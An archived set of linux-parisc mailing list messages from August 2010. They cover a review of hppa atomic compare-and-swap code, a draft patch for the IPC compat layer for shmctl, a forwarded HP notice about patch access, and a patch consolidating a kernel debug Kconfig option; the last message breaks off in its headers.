Newsgroups: gmane.linux.ports.parisc
Subject: [rth@redhat.com: Re: [committed] Update config/pa/linux-atomic.c
	and enable sync tests on hppa-linux]
Date: Wed, 11 Aug 2010 15:19:17 -0400
Organization: nrc.ca
Lines: 90
Approved: news@gmane.org
Message-ID: <20100811191917.GA8009@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1281554362 17600 80.91.229.12 (11 Aug 2010 19:19:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 11 Aug 2010 19:19:22 +0000 (UTC)
Cc: deller@gmx.de
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 11 21:19:21 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OjGpb-00059q-LW
	for glpp-linux-parisc@lo.gmane.org; Wed, 11 Aug 2010 21:19:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755328Ab0HKTTS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 11 Aug 2010 15:19:18 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3037 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753931Ab0HKTTS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 11 Aug 2010 15:19:18 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 58B244D74; Wed, 11 Aug 2010 15:19:17 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3038
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3038>

----- Forwarded message from Richard Henderson <rth@redhat.com> -----

X-Original-To: dave@hiauly1.hia.nrc.ca
Delivered-To: dave@hiauly1.hia.nrc.ca
Date: Wed, 11 Aug 2010 11:03:11 -0700
From: Richard Henderson <rth@redhat.com>
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)
	Gecko/20100720 Fedora/3.1.1-1.fc13 Thunderbird/3.1.1
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
CC: John David Anglin <dave@hiauly1.hia.nrc.ca>, gcc-patches@gcc.gnu.org
Subject: Re: [committed] Update config/pa/linux-atomic.c and enable sync tests
	on hppa-linux
In-Reply-To: <20100811022808.GA25554@hiauly1.hia.nrc.ca>
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12

On 08/10/2010 07:28 PM, John David Anglin wrote:
> The attached patches are essentially identical to that recently applied
> to arm.
> 
> Tested on hppa-unknown-linux-gnu with no observed regressions.  Committed
> to trunk.  Plan to backport to 4.4 and 4.5 after testing.

FWIW, I had a browse through this file and it's a bit off.  E.g.:

> __sync_val_compare_and_swap_4 (int *ptr, int oldval, int newval)
> {
>   int actual_oldval, fail;
>     
>   while (1)
>     {
>       actual_oldval = *ptr;
> 
>       if (oldval != actual_oldval)
>         return actual_oldval;
> 
>       fail = __kernel_cmpxchg (actual_oldval, newval, ptr);
>   
>       if (!fail)
>         return oldval;
>     }
> }

This should not be returning the OLDVAL that the user passed,
it should be returning the lws_ret that the kernel returned.

This is because the user of __sync_val_c_a_s wants avoid the
reload of the value, like so (from libgomp/iter.c):

>       tmp = __sync_val_compare_and_swap (&ws->next, start, nend);
>       if (__builtin_expect (tmp == start, 1))
>         break;
>       start = tmp;

You might be better writing

static int
__kernel_cmpxchg (int oldval, int newval, int *mem)
{
  do {
    asm(...);
  } while (lws_errno == -EAGAIN);

  /* Other possibilities are EFAULT, ENOSYS, EDEADLOCK.  */
  if (__builtin_expect (lws_errno != 0, 0))
    {
      ABORT_INSTRUCTION;
      __builtin_unreachable ();
    }
    
  return lws_ret;
}

and totally hiding the possibility of kernel failure.

This, incidentally, is exactly the implementation of
__sync_val_c_a_s, with arguments in a different order.


r~

----- End forwarded message -----

-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH - not final!] parisc: fix shmctl(SHM_INFO) breakage on 64bit
 kernel
Date: Fri, 13 Aug 2010 22:49:46 +0200
Lines: 126
Approved: news@gmane.org
Message-ID: <20100813204946.GA9437@p100.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1281732597 20806 80.91.229.12 (13 Aug 2010 20:49:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 13 Aug 2010 20:49:57 +0000 (UTC)
To: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 13 22:49:56 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ok1CK-0003l4-1i
	for glpp-linux-parisc@lo.gmane.org; Fri, 13 Aug 2010 22:49:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751275Ab0HMUtv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 13 Aug 2010 16:49:51 -0400
Original-Received: from mailout-de.gmx.net ([213.165.64.23]:60655 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with SMTP
	id S1750982Ab0HMUtu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 13 Aug 2010 16:49:50 -0400
Original-Received: (qmail invoked by alias); 13 Aug 2010 20:49:48 -0000
Original-Received: from p54AD1489.dip0.t-ipconnect.de (EHLO p100.box) [84.173.20.137]
  by mail.gmx.net (mp069) with SMTP; 13 Aug 2010 22:49:48 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19W9tJ2u9lWPs98sOf41nAk7whsBtYGOFCJzbvzxA
	VGRFF2rEvotTeC
Content-Disposition: inline
User-Agent: Mutt/1.5.20 (2009-08-17)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3039
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3039>

I noticed, that shmctl(SHM_INFO) is broken when running on a 64bit
kernel (with 32bit userspace).
I assume we need to enable the IPC compat layer, at least for some
functions.

Below is a preliminary patch - the compat_XXX structures are probably
wrong and need changing. I think I copied them from a little-endian
architecture, while I better should have checked with a big-endian one.
So, please DO NOT apply yet.

And, we need to check the other ipc_compat functions as well...

Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 05a366a..e2fe95c 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -289,6 +289,10 @@ menu "Executable file formats"
 
 source "fs/Kconfig.binfmt"
 
+config SYSVIPC_COMPAT
+	def_bool y
+	depends on COMPAT && SYSVIPC
+
 endmenu
 
 source "net/Kconfig"
diff --git a/arch/parisc/include/asm/compat.h b/arch/parisc/include/asm/compat.h
index 02b77ba..bbbe256 100644
--- a/arch/parisc/include/asm/compat.h
+++ b/arch/parisc/include/asm/compat.h
@@ -29,6 +29,7 @@ typedef u16	compat_ipc_pid_t;
 typedef s32	compat_daddr_t;
 typedef u32	compat_caddr_t;
 typedef s32	compat_timer_t;
+typedef s32	compat_key_t;
 
 typedef s32	compat_int_t;
 typedef s32	compat_long_t;
@@ -129,6 +130,65 @@ typedef u32		compat_sigset_word;
 #define COMPAT_OFF_T_MAX	0x7fffffff
 #define COMPAT_LOFF_T_MAX	0x7fffffffffffffffL
 
+
+struct compat_ipc64_perm {
+	compat_key_t key;
+	__compat_uid32_t uid;
+	__compat_gid32_t gid;
+	__compat_uid32_t cuid;
+	__compat_gid32_t cgid;
+	unsigned short mode;
+	unsigned short __pad1;
+	unsigned short seq;
+	unsigned short __pad2;
+	compat_ulong_t unused1;
+	compat_ulong_t unused2;
+};
+
+struct compat_semid64_ds {
+	struct compat_ipc64_perm sem_perm;
+	compat_time_t  sem_otime;
+	compat_ulong_t __unused1;
+	compat_time_t  sem_ctime;
+	compat_ulong_t __unused2;
+	compat_ulong_t sem_nsems;
+	compat_ulong_t __unused3;
+	compat_ulong_t __unused4;
+};
+
+struct compat_msqid64_ds {
+	struct compat_ipc64_perm msg_perm;
+	compat_time_t  msg_stime;
+	compat_ulong_t __unused1;
+	compat_time_t  msg_rtime;
+	compat_ulong_t __unused2;
+	compat_time_t  msg_ctime;
+	compat_ulong_t __unused3;
+	compat_ulong_t msg_cbytes;
+	compat_ulong_t msg_qnum;
+	compat_ulong_t msg_qbytes;
+	compat_pid_t   msg_lspid;
+	compat_pid_t   msg_lrpid;
+	compat_ulong_t __unused4;
+	compat_ulong_t __unused5;
+};
+
+struct compat_shmid64_ds {
+	struct compat_ipc64_perm shm_perm;
+	compat_size_t  shm_segsz;
+	compat_time_t  shm_atime;
+	compat_ulong_t __unused1;
+	compat_time_t  shm_dtime;
+	compat_ulong_t __unused2;
+	compat_time_t  shm_ctime;
+	compat_ulong_t __unused3;
+	compat_pid_t   shm_cpid;
+	compat_pid_t   shm_lpid;
+	compat_ulong_t shm_nattch;
+	compat_ulong_t __unused4;
+	compat_ulong_t __unused5;
+};
+
 /*
  * A pointer passed in from user mode. This should not
  * be used for syscall parameters, just declare them
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 3d52c97..5293c90 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -293,7 +293,7 @@
 	ENTRY_SAME(shmat)
 	ENTRY_SAME(shmdt)
 	ENTRY_SAME(shmget)
-	ENTRY_SAME(shmctl)		/* 195 */
+	ENTRY_COMP(shmctl)		/* 195 */
 	ENTRY_SAME(ni_syscall)		/* streams1 */
 	ENTRY_SAME(ni_syscall)		/* streams2 */
 	ENTRY_SAME(lstat64)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [alerts@alerts.hp.com: HP SUPPORT ALERT: Change to Patch services
	effective September 18, 2010 ? Action required]
Date: Wed, 18 Aug 2010 21:33:47 -0400
Organization: nrc.ca
Lines: 88
Approved: news@gmane.org
Message-ID: <20100819013346.GA9194@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1282181631 11021 80.91.229.12 (19 Aug 2010 01:33:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 19 Aug 2010 01:33:51 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 19 03:33:50 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Olu0o-0004Cn-2F
	for glpp-linux-parisc@lo.gmane.org; Thu, 19 Aug 2010 03:33:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751041Ab0HSBdp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Aug 2010 21:33:45 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1147 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750849Ab0HSBdo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Aug 2010 21:33:44 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 4C5354D06; Wed, 18 Aug 2010 21:33:47 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3041
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3041>

I have forwarded this message to the list because I believe that
this change by HP  will impact my support of GCC and binutils on parisc
particularly for hpux.  However, I have always felt that hpux testing
provided an important validation for linux.  For many years (since
at least 1990), patches were available without a support agreement.

Comments?

Dave

----- Forwarded message from Hewlett-Packard <alerts@alerts.hp.com> -----

X-Original-To: dave@hiauly1.hia.nrc.ca
Delivered-To: dave@hiauly1.hia.nrc.ca
DomainKey-Signature: q=dns; a=rsa-sha1; c=nofws;
	s=v1; d=alerts.hp.com;
	h=DKIM-Signature:Received:Date:From:Reply-to:To:Message-ID:Subject:Error
	s-to:MIME-Version:Content-Type:Content-Transfer-Encoding:X-eid:X-pid;
	b=UqkwsjUwmbAsDEb1OIyh7COGPOoPxiL+eknlEyEpqi05YRFzmWR/NPo2ssijart2
	TZKuQrr0Za7ab8bUC6pLb6FmKkc6UNfIsYYfmhRVwrWAeHcpr3lZaMTaRdFEdCDK
DKIM-Signature: v=1; a=rsa-sha1; d=alerts.hp.com; s=v1; c=simple/simple;
	q=dns/txt; i=@alerts.hp.com; t=1282176352;
	h=From;
	bh=J4WWdbvzMvOuIlvE2jpCeKsNZnY=;
	b=keCtDMGR2quWsLdM8KKtY9T22lgQHre7SwaBy0p+1P1uInu/q+DALCxBas9bRsGC
	MgHD4jrRKdCWTQ9SRxXMKep04fovt9bWDHTJo8PCcm0qzGG8J7sUHw10qKwjJQYl;
Date: Wed, 18 Aug 2010 17:05:52 -0700 (PDT)
From: Hewlett-Packard <alerts@alerts.hp.com>
Reply-to: alerts@alerts.hp.com
To: dave@hiauly1.hia.nrc.ca
Subject: HP SUPPORT ALERT: Change to Patch services effective September 18,
	2010 ? Action required
Errors-to: alerts@alerts.hp.com
X-eid: 2.5.3KT.2ZR.xxGiM.ExY8wI..T..3U3g.CYJMESZ0
X-pid: 909546

Important note: As of September 17 (or shortly thereafter), HP
will institute a change in the way that Patch services are accessed.
Beginning at that time, Patch access will be through the ITRC support
portal. You need to have a valid ITRC user ID and password and will
now also need an active HP support agreement that includes Software
Updates linked to your ITRC profile to access Patch content and
services. We urge you to review your current support coverage now to
ensure you have valid coverage and can maintain uninterrupted access
to Patch. To obtain support coverage, please contact your local HP
office or representative or visit the link below to
access HP via Chat or phone.
http://alerts.hp.com/r?2.1.3KT.2ZR.xxGiM.ExY8wI..T.Unbs.3U3g.bW89MQ%5f%5fDNRYFTT0 

For more information, please read the FAQs here:
http://alerts.hp.com/r?2.1.3KT.2ZR.xxGiM.ExY8wI..T.Unbu.3U3g.bW89MQ%5f%5fDNYMFTV0

_____________________________________________________________________

HP is committed to protecting your privacy. Your information will not 
be shared outside HP unless you give your consent. You can choose 
whether HP may communicate directly with you. For more information 
please see the HP Privacy Statement.
http://alerts.hp.com/r?2.1.3KT.2ZR.xxGiM.ExY8wI..T.Unbw.3U3g.bW89MQ%5f%5fDNfAFTX0

As a valued contact or customer of HP, you are receiving this 
eNewsletter with information that we believe will be relevant to you. 
But if you do not wish to receive this communication in the future, 
please click below to unsubscribe.
http://alerts.hp.com/r?2.1.3KT.2ZR.xxGiM.ExY8wI..T.Unby.3U3g.bW89MQ%5f%5fDOFUFTZ0

? 1994-2010 Hewlett-Packard Company. All rights reserved. All 
product and company names referenced herein are trademarks of their 
respective owners. THIS DOCUMENT IS PROVIDED FOR INFORMATIONAL 
PURPOSES ONLY. INFORMATION PROVIDED IN THIS DOCUMENT IS PROVIDED AS 
IS WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED. This 
document may be copied provided all text is included and copies 
contain HP's copyright notice and any other notices provided herein. 
Any pricing information provided in this newsletter represents 
estimated resale pricing. Actual reseller prices may vary. 



----- End forwarded message -----

-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Boyd <sboyd@codeaurora.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.arm.kernel
Subject: [PATCHv2 2/1] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECKS
Date: Wed, 18 Aug 2010 19:28:18 -0700
Lines: 168
Approved: news@gmane.org
Message-ID: <1282184898-30599-1-git-send-email-sboyd@codeaurora.org>
References: <201008181428.45029.arnd@arndb.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1282184912 20694 80.91.229.12 (19 Aug 2010 02:28:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 19 Aug 2010 02:28:32 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	x86@kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-s390@vger.kernel.org, linux-parisc@vger.kernel.org,
	Arjan van de Ven <arjan@linux.intel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>
To: linux-arch@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 19 04:28:28 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Olurg-000280-Lh
	for glpp-linux-parisc@lo.gmane.org; Thu, 19 Aug 2010 04:28:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751640Ab0HSC2W (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Aug 2010 22:28:22 -0400
Original-Received: from wolverine01.qualcomm.com ([199.106.114.254]:8451 "EHLO
	wolverine01.qualcomm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751600Ab0HSC2V (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Aug 2010 22:28:21 -0400
X-IronPort-AV: E=McAfee;i="5400,1158,6078"; a="51500925"
Original-Received: from pdmz-ns-mip.qualcomm.com (HELO mostmsg01.qualcomm.com) ([199.106.114.10])
  by wolverine01.qualcomm.com with ESMTP/TLS/ADH-AES256-SHA; 18 Aug 2010 19:28:21 -0700
Original-Received: from sboyd-linux.qualcomm.com (pdmz-snip-v218.qualcomm.com [192.168.218.1])
	by mostmsg01.qualcomm.com (Postfix) with ESMTPA id 4131C10004C9;
	Wed, 18 Aug 2010 19:28:19 -0700 (PDT)
X-Mailer: git-send-email 1.7.2.1.66.g0d0ba
In-Reply-To: <201008181428.45029.arnd@arndb.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3042 gmane.linux.kernel.cross-arch:7281 gmane.linux.kernel:1024794 gmane.linux.ports.arm.kernel:88019
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3042>

The help text for this config is duplicated across the x86,
parisc, s390, and arm Kconfig.debug files. Arnd Bergman noted
that the help text was slightly misleading and should be fixed to
state that enabling this option isn't a problem when using pre 4.4
gcc.

To simplify the rewording, consolidate the text into
lib/Kconfig.debug and modify it there to be more explicit about
when you should say N to this config.

Signed-off-by: Stephen Boyd <sboyd@codeaurora.org>
Cc: Arnd Bergmann <arnd@arndb.de>
Cc: x86@kernel.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: linux-s390@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
Cc: Arjan van de Ven <arjan@linux.intel.com>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Helge Deller <deller@gmx.de>
---

This depends on a patch sent to the arm mailing list adding
CONFIG_DEBUG_STRICT_USER_COPY_CHECKS to ARM.

LKML: http://lkml.org/lkml/2010/8/17/535

 arch/arm/Kconfig.debug    |   15 ++-------------
 arch/parisc/Kconfig.debug |   15 ++-------------
 arch/s390/Kconfig.debug   |   14 ++------------
 arch/x86/Kconfig.debug    |   15 ++-------------
 lib/Kconfig.debug         |   16 ++++++++++++++++
 5 files changed, 24 insertions(+), 51 deletions(-)

diff --git a/arch/arm/Kconfig.debug b/arch/arm/Kconfig.debug
index 64e33b8..326c7f1 100644
--- a/arch/arm/Kconfig.debug
+++ b/arch/arm/Kconfig.debug
@@ -128,18 +128,7 @@ config DEBUG_S3C_UART
 	  The uncompressor code port configuration is now handled
 	  by CONFIG_S3C_LOWLEVEL_UART_PORT.
 
-config DEBUG_STRICT_USER_COPY_CHECKS
-	bool "Strict user copy size checks"
-	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
-	help
-	  Enabling this option turns a certain set of sanity checks for user
-	  copy operations into compile time errors.
-
-	  The copy_from_user() etc checks are there to help test if there
-	  are sufficient security checks on the length argument of
-	  the copy operation, by having gcc prove that the argument is
-	  within bounds.
-
-	  If unsure, or if you run an older (pre 4.4) gcc, say N.
+config ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
+	def_bool y
 
 endmenu
diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
index 7305ac8..b13e8d0 100644
--- a/arch/parisc/Kconfig.debug
+++ b/arch/parisc/Kconfig.debug
@@ -12,18 +12,7 @@ config DEBUG_RODATA
          portion of the kernel code won't be covered by a TLB anymore.
          If in doubt, say "N".
 
-config DEBUG_STRICT_USER_COPY_CHECKS
-	bool "Strict copy size checks"
-	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
-	---help---
-	  Enabling this option turns a certain set of sanity checks for user
-	  copy operations into compile time failures.
-
-	  The copy_from_user() etc checks are there to help test if there
-	  are sufficient security checks on the length argument of
-	  the copy operation, by having gcc prove that the argument is
-	  within bounds.
-
-	  If unsure, or if you run an older (pre 4.4) gcc, say N.
+config ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
+	def_bool y
 
 endmenu
diff --git a/arch/s390/Kconfig.debug b/arch/s390/Kconfig.debug
index 45e0c61..6df8e30 100644
--- a/arch/s390/Kconfig.debug
+++ b/arch/s390/Kconfig.debug
@@ -6,17 +6,7 @@ config TRACE_IRQFLAGS_SUPPORT
 
 source "lib/Kconfig.debug"
 
-config DEBUG_STRICT_USER_COPY_CHECKS
-	bool "Strict user copy size checks"
-	---help---
-	  Enabling this option turns a certain set of sanity checks for user
-	  copy operations into compile time warnings.
-
-	  The copy_from_user() etc checks are there to help test if there
-	  are sufficient security checks on the length argument of
-	  the copy operation, by having gcc prove that the argument is
-	  within bounds.
-
-	  If unsure, or if you run an older (pre 4.4) gcc, say N.
+config ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
+	def_bool y
 
 endmenu
diff --git a/arch/x86/Kconfig.debug b/arch/x86/Kconfig.debug
index 7508508..d24afa3 100644
--- a/arch/x86/Kconfig.debug
+++ b/arch/x86/Kconfig.debug
@@ -285,18 +285,7 @@ config OPTIMIZE_INLINING
 
 	  If unsure, say N.
 
-config DEBUG_STRICT_USER_COPY_CHECKS
-	bool "Strict copy size checks"
-	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
-	---help---
-	  Enabling this option turns a certain set of sanity checks for user
-	  copy operations into compile time failures.
-
-	  The copy_from_user() etc checks are there to help test if there
-	  are sufficient security checks on the length argument of
-	  the copy operation, by having gcc prove that the argument is
-	  within bounds.
-
-	  If unsure, or if you run an older (pre 4.4) gcc, say N.
+config ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
+	def_bool y
 
 endmenu
diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
index 9e06b7f..bbb1ac5 100644
--- a/lib/Kconfig.debug
+++ b/lib/Kconfig.debug
@@ -1013,6 +1013,22 @@ config SYSCTL_SYSCALL_CHECK
 	  to properly maintain and use. This enables checks that help
 	  you to keep things correct.
 
+config DEBUG_STRICT_USER_COPY_CHECKS
+	bool "Strict user copy size checks"
+	depends on ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
+	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
+	help
+	  Enabling this option turns a certain set of sanity checks for user
+	  copy operations into compile time warnings/errors.
+
+	  The copy_from_user() etc checks are there to help test if there
+	  are sufficient security checks on the length argument of
+	  the copy operation, by having gcc prove that the argument is
+	  within bounds.
+
+	  If unsure, or if you run an older (pre 4.4) gcc where this option
+	  is a no-op, say N.
+
 source mm/Kconfig.debug
 source kernel/trace/Kconfig
 
-- 
Sent by an employee of the Qualcomm Innovation Center, Inc.
The Qualcomm Innovation Center, Inc. is a member of the Code Aurora Forum.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arjan van de Ven <arjan@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCHv2 2/1] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECKS
Date: Wed, 18 Aug 2010 21:38:34 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <4C6CB54A.4090605@linux.intel.com>
References: <201008181428.45029.arnd@arndb.de> <1282184898-30599-1-git-send-email-sboyd@codeaurora.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1282192736 15441 80.91.229.12 (19 Aug 2010 04:38:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 19 Aug 2010 04:38:56 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org,
	Arnd Bergmann <arnd@arndb.de>, x86@kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-s390@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>
To: Stephen Boyd <sboyd@codeaurora.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 19 06:38:53 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Olwtx-0000C2-In
	for glpp-linux-parisc@lo.gmane.org; Thu, 19 Aug 2010 06:38:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751234Ab0HSEii (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Aug 2010 00:38:38 -0400
Original-Received: from mga09.intel.com ([134.134.136.24]:21613 "EHLO mga09.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750911Ab0HSEih (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
